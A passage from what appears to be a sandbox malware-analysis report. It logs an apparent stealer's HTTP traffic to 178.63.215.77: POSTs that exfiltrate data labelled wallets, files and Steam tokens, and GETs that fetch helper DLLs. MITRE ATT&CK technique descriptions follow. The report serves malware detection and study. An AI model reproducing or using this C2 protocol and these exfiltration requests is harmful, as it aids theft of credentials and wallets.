6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="message"plugins------HIDGCFBFBFBKEBGCAFCG--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 178.63.215.77Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"fplugins------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 178.63.215.77Content-Length: 5959Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/sqlite3.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 178.63.215.77Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 178.63.215.77Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJEHost: 178.63.215.77Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="file"------HCGCBFHCFCFBFIEBGHJE--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCHost: 178.63.215.77Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file"------IEGCBAAFHDHDHJKEGCFC--
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/freebl3.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/mozglue.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/msvcp140.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/nss3.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/softokn3.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a43eb2d9880da9a6/vcruntime140.dll HTTP/1.1Host: 178.63.215.77Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 178.63.215.77Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 178.63.215.77Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"wallets------JEGHDAFIDGDAAKEBFHDA--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAFIJJJKEGIECAKKEHIHost: 178.63.215.77Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 46 49 4a 4a 4a 4b 45 47 49 45 43 41 4b 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------FCAFIJJJKEGIECAKKEHIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------FCAFIJJJKEGIECAKKEHIContent-Disposition: form-data; name="message"files------FCAFIJJJKEGIECAKKEHI--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 178.63.215.77Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file"------BGIIDAEBGCAAECAKFHII--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFIHost: 178.63.215.77Content-Length: 101087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 178.63.215.77Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="message"ybncbhylepme------BGIIDAEBGCAAECAKFHII--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 178.63.215.77Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--

Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77
Source: unknown	TCP traffic detected without corresponding DNS query: 178.63.215.77

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
